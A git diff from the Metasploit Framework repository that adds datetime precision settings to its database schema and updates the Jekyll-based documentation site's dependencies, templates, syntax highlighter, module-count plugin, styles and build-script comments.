t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["user_id"], name: "index_metasploit_credential_origin_manuals_on_user_id"
end
create_table "metasploit_credential_origin_services", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.text "module_full_name", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["service_id", "module_full_name"], name: "unique_metasploit_credential_origin_services", unique: true
end
create_table "metasploit_credential_origin_sessions", id: :serial, force: :cascade do |t|
t.text "post_reference_name", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["session_id", "post_reference_name"], name: "unique_metasploit_credential_origin_sessions", unique: true
end
create_table "metasploit_credential_privates", id: :serial, force: :cascade do |t|
t.string "type", null: false
t.text "data", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "jtr_format"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
@@ -321,8 +320,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
t.string "username", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "type", null: false
t.index ["username"], name: "index_metasploit_credential_publics_on_username", unique: true
end
@@ -330,8 +329,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "metasploit_credential_realms", id: :serial, force: :cascade do |t|
t.string "key", null: false
t.string "value", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["key", "value"], name: "index_metasploit_credential_realms_on_key_and_value", unique: true
end
@@ -361,7 +360,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "module_details", id: :serial, force: :cascade do |t|
t.datetime "mtime"
t.datetime "mtime", precision: nil
t.text "file"
t.string "mtype"
t.text "refname"
@@ -371,7 +370,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.text "description"
t.string "license"
t.boolean "privileged"
t.datetime "disclosure_date"
t.datetime "disclosure_date", precision: nil
t.integer "default_target"
t.text "default_action"
t.string "stance"
@@ -402,7 +401,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "module_runs", id: :serial, force: :cascade do |t|
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
@@ -414,8 +413,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["session_id"], name: "index_module_runs_on_session_id"
t.index ["user_id"], name: "index_module_runs_on_user_id"
end
@@ -428,8 +427,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "nexpose_consoles", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.boolean "enabled", default: true
t.text "owner"
t.text "address"
@@ -444,12 +443,12 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "notes", id: :serial, force: :cascade do |t|
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "ntype", limit: 512
t.integer "workspace_id", default: 1, null: false
t.integer "service_id"
t.integer "host_id"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.boolean "critical"
t.boolean "seen"
t.text "data"
@@ -471,13 +470,13 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "raw_payload_hash"
t.string "build_status"
t.string "build_opts"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "profiles", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.boolean "active", default: true
t.text "name"
t.text "owner"
@@ -486,9 +485,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "refs", id: :serial, force: :cascade do |t|
t.integer "ref_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name", limit: 512
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.index ["name"], name: "index_refs_on_name"
end
@@ -497,8 +496,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "created_by"
t.string "path", limit: 1024
t.text "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "reports", id: :serial, force: :cascade do |t|
@@ -507,9 +506,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "rtype"
t.string "path", limit: 1024
t.text "options"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "downloaded_at"
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.datetime "downloaded_at", precision: nil
t.integer "task_id"
t.string "name", limit: 63
end
@@ -522,12 +521,12 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "services", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.integer "port", null: false
t.string "proto", limit: 16, null: false
t.string "state"
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.text "info"
t.index ["host_id", "port", "proto"], name: "index_services_on_host_id_and_port_and_proto", unique: true
t.index ["name"], name: "index_services_on_name"
@@ -543,7 +542,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.binary "output"
t.string "remote_path"
t.string "local_path"
t.datetime "created_at"
t.datetime "created_at", precision: nil
end
create_table "sessions", id: :serial, force: :cascade do |t|
@@ -555,11 +554,11 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", null: false
t.datetime "closed_at"
t.datetime "opened_at", precision: nil, null: false
t.datetime "closed_at", precision: nil
t.string "close_reason"
t.integer "local_id"
t.datetime "last_seen"
t.datetime "last_seen", precision: nil
t.integer "module_run_id"
t.index ["module_run_id"], name: "index_sessions_on_module_run_id"
end
@@ -571,51 +570,51 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.boolean "report_summary", default: false, null: false
t.boolean "report_detail", default: false, null: false
t.boolean "critical", default: false, null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_creds", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "cred_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_hosts", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "host_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_services", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_sessions", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "tasks", id: :serial, force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "module"
t.datetime "completed_at"
t.datetime "completed_at", precision: nil
t.string "path", limit: 1024
t.string "info"
t.string "description"
t.integer "progress"
t.text "options"
t.text "error"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "result"
t.string "module_uuid", limit: 8
t.binary "settings"
@@ -626,8 +625,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "crypted_password"
t.string "password_salt"
t.string "persistence_token"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "fullname"
t.string "email"
t.string "phone"
@@ -638,7 +637,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "vuln_attempts", id: :serial, force: :cascade do |t|
t.integer "vuln_id"
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
@@ -661,26 +660,26 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "nx_vuln_id"
t.float "nx_severity"
t.float "nx_pci_severity"
t.datetime "nx_published"
t.datetime "nx_added"
t.datetime "nx_modified"
t.datetime "nx_published", precision: nil
t.datetime "nx_added", precision: nil
t.datetime "nx_modified", precision: nil
t.text "nx_tags"
t.text "nx_vuln_status"
t.text "nx_proof_key"
t.string "src"
t.integer "nx_scan_id"
t.datetime "nx_vulnerable_since"
t.datetime "nx_vulnerable_since", precision: nil
t.string "nx_pci_compliance_status"
end
create_table "vulns", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.integer "service_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.string "info", limit: 65536
t.datetime "exploited_at"
t.datetime "exploited_at", precision: nil
t.integer "vuln_detail_count", default: 0
t.integer "vuln_attempt_count", default: 0
t.integer "origin_id"
@@ -696,8 +695,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_forms", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path"
t.string "method", limit: 1024
t.text "params"
@@ -707,15 +706,15 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_pages", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path"
t.text "query"
t.integer "code", null: false
t.text "cookie"
t.text "auth"
t.text "ctype"
t.datetime "mtime"
t.datetime "mtime", precision: nil
t.text "location"
t.text "headers"
t.binary "body"
@@ -726,8 +725,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_sites", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "vhost", limit: 2048
t.text "comments"
t.text "options"
@@ -738,8 +737,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_vulns", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path", null: false
t.string "method", limit: 1024, null: false
t.text "params"
@@ -773,8 +772,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "respcode", limit: 16
t.text "resphead"
t.text "response"
t.datetime "created_at"
t.datetime "updated_at"
t.datetime "created_at", precision: nil
t.datetime "updated_at", precision: nil
end
create_table "wmap_targets", id: :serial, force: :cascade do |t|
@@ -783,8 +782,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "port"
t.integer "ssl"
t.integer "selected"
t.datetime "created_at"
t.datetime "updated_at"
t.datetime "created_at", precision: nil
t.datetime "updated_at", precision: nil
end
create_table "workspace_members", id: false, force: :cascade do |t|
@@ -794,8 +793,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "workspaces", id: :serial, force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "boundary", limit: 4096
t.string "description", limit: 4096
t.integer "owner_id"
+1 -1
View File
@@ -7,4 +7,4 @@ vendor
# These files will be generated by build.rb and do not need to be committed
docs
metasploit-framework.wiki.old
index.md
/index.md
+1 -1
View File
@@ -1 +1 @@
3.0.2
3.0.5
+4 -1
View File
@@ -1,8 +1,11 @@
source 'https://rubygems.org'
gem 'jekyll', '~> 4.2.0'
gem 'jekyll', '~> 4.3.0'
gem 'just-the-docs', github: 'rapid7/just-the-docs', branch: 'r7_ver_custom'
# Useful when testing local just-the-docs changes:
#gem 'just-the-docs', path: '../../just-the-docs'
gem 'webrick'
gem 'rexml'
group :jekyll_plugins do
gem 'jekyll-sitemap'
+23 -21
View File
@@ -1,6 +1,6 @@
GIT
remote: https://github.com/rapid7/just-the-docs.git
revision: 9c5e78f98185406e50ab04f523a86bd857e186cf
revision: 5c7ea378f6392ea19b52e8019ebaca8fc2331733
branch: r7_ver_custom
specs:
just-the-docs (0.3.3)
@@ -12,8 +12,8 @@ GIT
GEM
remote: https://rubygems.org/
specs:
addressable (2.8.0)
public_suffix (>= 2.0.2, < 5.0)
addressable (2.8.1)
public_suffix (>= 2.0.2, < 6.0)
byebug (11.1.3)
coderay (1.1.3)
colorator (1.1.0)
@@ -25,23 +25,24 @@ GEM
ffi (1.15.5)
forwardable-extended (2.6.0)
http_parser.rb (0.8.0)
i18n (1.10.0)
i18n (1.12.0)
concurrent-ruby (~> 1.0)
jekyll (4.2.2)
jekyll (4.3.1)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (~> 1.0)
jekyll-sass-converter (~> 2.0)
jekyll-sass-converter (>= 2.0, < 4.0)
jekyll-watch (~> 2.0)
kramdown (~> 2.3)
kramdown (~> 2.3, >= 2.3.1)
kramdown-parser-gfm (~> 1.0)
liquid (~> 4.0)
mercenary (~> 0.4.0)
mercenary (>= 0.3.6, < 0.5)
pathutil (~> 0.9)
rouge (~> 3.0)
rouge (>= 3.0, < 5.0)
safe_yaml (~> 1.0)
terminal-table (~> 2.0)
terminal-table (>= 1.8, < 4.0)
webrick (~> 1.7)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-sass-converter (2.2.0)
@@ -52,7 +53,7 @@ GEM
jekyll (>= 3.7, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
kramdown (2.3.2)
kramdown (2.4.0)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
@@ -64,35 +65,36 @@ GEM
method_source (1.0.0)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
pry (0.13.1)
pry (0.14.1)
coderay (~> 1.1)
method_source (~> 1.0)
pry-byebug (3.9.0)
pry-byebug (3.10.1)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.7)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
rake (13.0.6)
rb-fsevent (0.11.1)
rb-fsevent (0.11.2)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.28.0)
rouge (4.0.0)
safe_yaml (1.0.5)
sassc (2.4.0)
ffi (~> 1.9)
terminal-table (2.0.0)
unicode-display_width (~> 1.1, >= 1.1.1)
unicode-display_width (1.8.0)
terminal-table (3.0.2)
unicode-display_width (>= 1.1.1, < 3)
unicode-display_width (2.3.0)
webrick (1.7.0)
PLATFORMS
ruby
DEPENDENCIES
jekyll (~> 4.2.0)
jekyll (~> 4.3.0)
jekyll-sitemap
just-the-docs!
pry-byebug
rexml
tzinfo (~> 1.2)
tzinfo-data
wdm (~> 0.1.1)
+13 -6
View File
@@ -13,6 +13,19 @@ How it works:
Behind the scenes these docs are built and deployed to https://docs.metasploit.com/
### Adding pages
You can modify existing documentation files within `metasploit-framework.wiki/` with an editor of your choice and send a pull request.
To add a new page, modify `navigation.rb`. Full details are found beside the `NAVIGATION_CONFIG` constant.
## Adding links
For linking to other docs the Github markdown syntax `[[link text|relative_path_to_docs]]` is used. Behind the scenes these
links will be verified at build time to ensure there's no 404 links.
Note: It is also possible to use the syntax `[[link text|relative_path_to_docs#section]]` - but this navigation will happen client side, and
there is no validation that these sections exist at build time. It is possible for future edits to a markdown file to break these links.
## Setup
### Developer build
@@ -42,9 +55,3 @@ bundle exec ruby build.rb --production --serve
```
Now visit http://127.0.0.1:4000/metasploit-framework/
### Contributing Documentation
You can modify existing documentation files within `metasploit-framework.wiki/` with an editor of your choice and send a pull request.
Note that adding a new page will also require modifying `navigation.rb` to appear on the navigation menu.
+4 -1
View File
@@ -30,6 +30,9 @@ exclude:
- README.md
# just-the-docs config
mermaid_enabled: true
mermaid:
version: "9.2.2"
heading_anchors: true
aux_links_new_tab: true
aux_links:
@@ -38,7 +41,7 @@ aux_links:
nav_cache: true
# False until the wiki's markdown files are migrated into the Metasploit repository
# We set gh_edit_link to false to opt out of the default edit link support - and instead use a custom implementation in _includes/footer_custom.html
gh_edit_link: false
gh_edit_link_text: 'Edit this page on GitHub'
gh_edit_repository: 'https://github.com/rapid7/metasploit-framework'
+3
View File
@@ -0,0 +1,3 @@
# Staging assumes that it is currently deployed to gh-pages; All links are prefixed with /metasploit-framework
baseurl: 'metasploit-framework'
ga_tracking: ''
+17
View File
@@ -0,0 +1,17 @@
{% comment %}
Modification of https://github.com/just-the-docs/just-the-docs/blob/2495d3e6bb5720ae23e35caf16888f0c7f37ede0/_includes/components/footer.html
The 'edit this page' page link now only appears when the root folder entry has content, and also includes linking directly to module documentation,
or site wiki content
{% endcomment %}
{% if
site.gh_edit_link_text and
site.gh_edit_repository and
site.gh_edit_branch and
site.gh_edit_view_mode and
page.has_content == 'true'
%}
<p class="text-small text-grey-dk-000 mb-0">
<a href="{{ site.gh_edit_repository }}/{{ site.gh_edit_view_mode }}/{{ site.gh_edit_branch }}{% if site.gh_edit_source %}/{{ site.gh_edit_source }}{% endif %}{% if page.collection and site.collections_dir %}/{{ site.collections_dir }}{% endif %}/{{ page.old_path }}" id="edit-this-page">{{ site.gh_edit_link_text }}</a>
</p>
{% endif %}
+2
View File
@@ -0,0 +1,2 @@
<link rel="stylesheet" href="{% link assets/css/main.css %}">
+19
View File
@@ -0,0 +1,19 @@
// Handle opening/closing module overview list items
jtd.onReady(function(ready) {
var moduleStructures = document.querySelectorAll('.module-structure');
for (var i = 0; i < moduleStructures.length; i++) {
jtd.addEvent(moduleStructures[i], 'click', function (e) {
var originalTarget = e.target || e.srcElement || e.originalTarget;
if (originalTarget.tagName !== 'A') { return; }
var parentListItem = originalTarget.closest('li');
if (parentListItem.className.indexOf('folder') === -1) { return; }
var childList = parentListItem.querySelector('ul');
if (childList) {
childList.classList.toggle('open');
}
e.preventDefault();
});
}
});
@@ -0,0 +1,74 @@
require 'rouge'
# Custom highlighting support for Metasploit's prompt
# https://rouge-ruby.github.io/docs/file.LexerDevelopment.html
module Rouge
# Custom tokens specific to Msf, as the inbuilt lexer tokens can't capture
# the detail required for Msf's print_warning/print_good/etc calls.
module Tokens
def self.token(name, shortname, &b)
tok = Token.make_token(name, shortname, &b)
const_set(name, tok)
end
# The 'shortname' is the class used when generating the HTML. It is intentionally
# short to reduce HTML size.
# https://github.com/rouge-ruby/rouge/blob/a4ed658d2778a3e2d3e68873f7221b91149a2ed4/lib/rouge/token.rb#L69
SHORTNAME = 'z'
token :Msf, SHORTNAME do
# prompt - msf / msf5 / msf6 / meterpreter
token :Prompt, "#{SHORTNAME}p"
# [-]
token :Error, "#{SHORTNAME}e"
# [+]
token :Good, "#{SHORTNAME}g"
# [*]
token :Status, "#{SHORTNAME}s"
# [!]
token :Warning, "#{SHORTNAME}w"
end
end
module Lexers
class MetasploitConsoleLanguage < Rouge::RegexLexer
title 'msf'
tag 'msf'
desc 'Metasploit console highlighter'
filenames []
mimetypes []
def self.keywords
@keywords ||= Set.new %w()
end
state :whitespace do
rule %r/\s+/, Text
end
state :root do
mixin :whitespace
# Match msf, msf5, msf6, meterpreter
rule %r{^(msf\d?|meterpreter)}, Tokens::Msf::Prompt, :msf_prompt
rule %r{^\[-\]}, Tokens::Msf::Error
rule %r{^\[\+\]}, Tokens::Msf::Good
rule %r{^\[\*\]}, Tokens::Msf::Status
rule %r{^\[\!\]}, Tokens::Msf::Warning
rule %r{.+}, Text
end
# State for highlighting the prompt such as
# msf6 auxiliary(admin/dcerpc/cve_2022_26923_certifried) >
state :msf_prompt do
mixin :whitespace
rule %r{exploit|payload|auxiliary|encoder|evasion|post|nop}, Text
rule %r{\(}, Punctuation
rule %r{\)}, Punctuation
rule %r{[\w/]+}, Keyword::Constant
rule %r{>}, Punctuation, :pop!
end
end
end
end
+138
View File
@@ -0,0 +1,138 @@
require 'jekyll'
require 'json'
require 'pathname'
#
# Helper class for extracting information related to Metasploit framework's stats
#
class MetasploitStats
# @return [Hash<String, Integer>] A map of module type to the amount of modules
def module_counts
module_counts_by_type = modules.group_by { |mod| mod['type'].to_s }.transform_values { |mods| mods.count }.sort_by(&:first).to_h
module_counts_by_type
end
# @return [Array<Hash<String, Hash>>] A nested array of module metadata, containing at least the keys :name, :total, :children
def nested_module_counts
create_nested_module_counts(modules)
end
protected
# @param [Array<Hash>] modules
# @param [String] parent_path The parent path to track the nesting depth when called recursively
# i.e. auxiliary, then auxiliary/admin, then auxiliary/admin/foo, etc
def create_nested_module_counts(modules, parent_path = '')
# Group the modules by their prefix, i.e. auxiliary/payload/encoder/etc
top_level_buckets = modules.select { |mod| mod['fullname'].start_with?(parent_path) }.group_by do |mod|
remaining_paths = mod['fullname'].gsub(parent_path.empty? ? '' : %r{^#{parent_path}/}, '').split('/')
remaining_paths[0]
end.sort.to_h
top_level_buckets.map do |(prefix, children)|
current_path = parent_path.empty? ? prefix : "#{parent_path}/#{prefix}"
mod = modules_by_fullname[current_path]
{
name: prefix,
total: children.count,
module_fullname: mod ? mod['fullname'] : nil,
module_path: mod ? mod['path'] : nil,
children: mod.nil? ? create_nested_module_counts(children, current_path) : []
}
end
end
# @return [Array<Hash>] An array of Hashes containing each Metasploit module's metadata
def modules
return @modules if @modules
module_metadata_path = '../db/modules_metadata_base.json'
unless File.exist?(module_metadata_path)
raise "Unable to find Metasploit module data, expected it to be at #{module_metadata_path}"
end
@modules = JSON.parse(File.binread(module_metadata_path)).values
@modules
end
# @return [Hash<String, Hash>] A mapping of module name to Metasploit module metadata
def modules_by_fullname
@modules_by_fullname ||= @modules.each_with_object({}) do |mod, hash|
fullname = mod['fullname']
hash[fullname] = mod
end
end
end
# Custom liquid filter implementation for visualizing nested Metasploit module metadata
#
# Intended usage:
# {{ site.metasploit_nested_module_counts | module_tree }}
module ModuleFilter
# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The module tree HTML representation of the given modules
def module_tree(modules)
rendered_children = render_modules(modules)
<<~EOF
<ul class="module-structure">#{rendered_children}</ul>
EOF
end
module_function
# @param [Array<Hash>] modules The array of Metasploit cache information
# @return [String] The rendered tree HTML representation of the given modules
def render_modules(modules)
modules.map do |mod|
result = "<li#{render_child_modules?(mod) ? ' class="folder"' : ''}>#{heading_for_mod(mod)}"
if render_child_modules?(mod)
result += "\n<ul>#{render_modules(mod[:children].sort_by { |mod| "#{render_child_modules?(mod) ? 0 : 1}-#{mod[:name]}" })}</ul>\n"
end
result += "</li>"
result
end.join("\n")
end
# @param [Hash] mod The module metadata object
# @return [String] Human readable string for a module list such as `- <a>Auxiliary (1234)</a>` or `- Other (50)`
def heading_for_mod(mod)
if render_child_modules?(mod)
"<a href=\"#\"><div class=\"target\">#{mod[:name]} (#{mod[:total]})</div></a>"
else
config = Jekyll.sites.first.config
# Preference linking to module documentation over the module implementation
module_docs_path = Pathname.new("documentation").join(mod[:module_path].gsub(/^\//, '')).sub_ext(".md")
link_path = File.exist?(File.join('..', module_docs_path)) ? "/#{module_docs_path}" : mod[:module_path]
docs_link = "#{config['gh_edit_repository']}/#{config['gh_edit_view_mode']}/#{config['gh_edit_branch']}#{link_path}"
"<a href=\"#{docs_link}\" target=\"_blank\"><div class=\"target\">#{mod[:module_fullname]}</div></a>"
end
end
# @param [Hash] mod The module metadata object
# @return [TrueClass, FalseClass]
def render_child_modules?(mod)
mod[:children].length >= 1 && mod[:module_path].nil?
end
end
# Register the Liquid filter so any Jekyll page can render module information
Liquid::Template.register_filter(ModuleFilter)
# Register the site initialization hook to populate global site information so any Jekyll page can access Metasploit stats information
Jekyll::Hooks.register :site, :after_init do |site|
begin
Jekyll.logger.info 'Calculating module stats'
metasploit_stats = MetasploitStats.new
site.config['metasploit_total_module_count'] = metasploit_stats.module_counts.sum { |_type, count| count }
site.config['metasploit_module_counts'] = metasploit_stats.module_counts
site.config['metasploit_nested_module_counts'] = metasploit_stats.nested_module_counts
Jekyll.logger.info 'Finished calculating module stats'
rescue
Jekyll.logger.error "Unable to to extractMetasploit stats"
raise
end
end
+110
View File
@@ -0,0 +1,110 @@
---
---
#main-content p {
text-align: justify;
}
/* Color highlighting for msf console text */
.language-mermaid .label {
text-transform: inherit;
}
.language-msf .zp {
text-decoration: underline;
}
.language-msf .ze {
color: #960050;
}
.language-msf .zg {
color: #859900;
}
.language-msf .zs {
color: #268bd2;
}
.language-msf .zw {
color: orange;
}
/* Module overview styles */
.module-structure li::before {
content: ' ' !important;
}
.module-structure a {
height: 100%;
padding: 0.2rem;
background-image: none;
overflow: initial;
display: inline-block;
width: 90%;
}
.module-structure a, .module-structure a:hover {
background-image: none;
}
.module-structure a:hover .target {
pointer-events: none;
display: inline-block;
text-decoration: none;
background-image: linear-gradient(rgba(114, 83, 237, 0.45) 0%, rgba(114, 83, 237, 0.45) 100%);
background-repeat: repeat-x;
background-position: 0 100%;
background-size: 1px 1px;
}
.module-structure {
line-height: 2rem;
}
/* visual indentation lines */
.module-structure ul {
margin-left: 7px !important;
padding-left: 20px !important;
border-left: 1px dashed #d1d7de;
}
.module-structure li p {
margin: 0;
}
.module-structure li {
margin: 0;
list-style: none;
}
.module-structure ul {
display: none;
margin: 0;
}
.module-structure ul.open {
display: block;
}
/* Default li style - files */
.module-structure li::before {
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64z'/></svg>");
background-repeat: no-repeat;
width: 1rem;
height: 1rem;
background-position: center top;
background-size: 90% auto;
margin-top: 0;
vertical-align: middle;
margin-left: initial !important;
margin-right: 0.5rem !important;
display: inline-block !important;
position: initial !important;
}
/* li style - folders */
.module-structure li.folder::before {
background-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' fill='%234158bf' viewBox='0 0 512 512'><path d='M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z'/></svg>");
}
+114 -34
View File
@@ -2,22 +2,25 @@ require 'fileutils'
require 'uri'
require 'open3'
require 'optparse'
require 'did_you_mean'
require_relative './navigation'
# Temporary build module to help migrate and build the Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
# supported by Jekyll, as well as creating a hierarchical folder structure for nested documentation
# This build module was used to migrate the old Metasploit wiki https://github.com/rapid7/metasploit-framework/wiki into a format
# supported by Jekyll. Jekyll was chosen as it was written in Ruby, which should reduce the barrier to entry for contributions.
#
# The build script took the flatlist of markdown files from the wiki, and converted them into the hierarchical folder structure
# for nested documentation. This configuration is defiend in `navigation.rb`
#
# In the future a different site generator could be used, but it should be possible to use this build script again to migrate to a new format
#
# For now the doc folder only contains the key files for building the docs site and no content. The content is created on demand
# from the metasploit-framework wiki on each build
#
# In the future, the markdown files will be committed directly to the metasploit-framework directory, the wiki history will be
# merged with metasploit-framework, and the old wiki will no longer be updated.
# from the `metasploit-framework.wiki` folder on each build
module Build
# The metasploit-framework.wiki files that are committed to Metasploit framework's repository
WIKI_PATH = 'metasploit-framework.wiki'.freeze
# A locally cloned version of https://github.com/rapid7/metasploit-framework/wiki
# A locally cloned version of https://github.com/rapid7/metasploit-framework/wiki - should no longer be required for normal workflows
OLD_WIKI_PATH = 'metasploit-framework.wiki.old'.freeze
PRODUCTION_BUILD_ARTIFACTS = '_site'.freeze
